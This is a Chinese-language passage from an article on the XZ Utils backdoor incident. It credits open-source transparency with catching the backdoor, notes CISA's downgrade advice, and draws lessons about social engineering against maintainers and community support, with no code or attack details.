这场危机如何被阻止?
这次安全危机能被及时发现,完全得益于 开源的透明性。因为 XZ Utils 是开源的,开发者可以审查和测试代码,从而与恶意行为者处于同一水平线上。事件发生后,美国网络安全与基础设施安全局(CISA)迅速发布警告,建议用户将 XZ Utils 降级至安全版本(如 XZ Utils 5.4.6 稳定版),以避免遭受攻击。
能从中学到什么?
这起事件不仅是一场险些发生的灾难,也是一次警示:
1.开源软件的双刃剑:开源的优势在于透明性,但同时也可能被恶意行为者利用。
2.社会工程的危险:开源项目的维护者需要警惕社会工程攻击,避免将权限交给不可靠的人。
3.开发者社区的责任:社区需要为开源项目的维护者提供更多的支持和保护。
原始维护者 Lasse Collin 为这个项目投入了多年的努力,却因为一次社会工程攻击导致项目险些失控。开发者社区需要联合起来,帮助像 Collin 这样的无私贡献者,让他们的工作更加安全。
如何防止类似事件发生?
为了避免类似事件重演,可以采取以下措施:
1.加强开源项目管理:为开源项目建立更严格的审核机制,防止恶意行为者渗透。
2.代码审查与测试:确保社区中的贡献者能够定期对项目进行代码审查,发现潜在问题。
3.教育与意识提升:提高开源项目维护者对社会工程攻击的警觉性,避免轻易授予权限。
这次事件的幸运之处在于它被及时发现,没有对生产环境造成影响。然而也提醒我们,开源项目的安全性不仅依赖于技术,还依赖于社区的信任与合作。开源的本质是透明与共享,但我们必须谨慎对待信任,为开源项目的维护者提供更多支持,防止恶意行为者利用这一特性。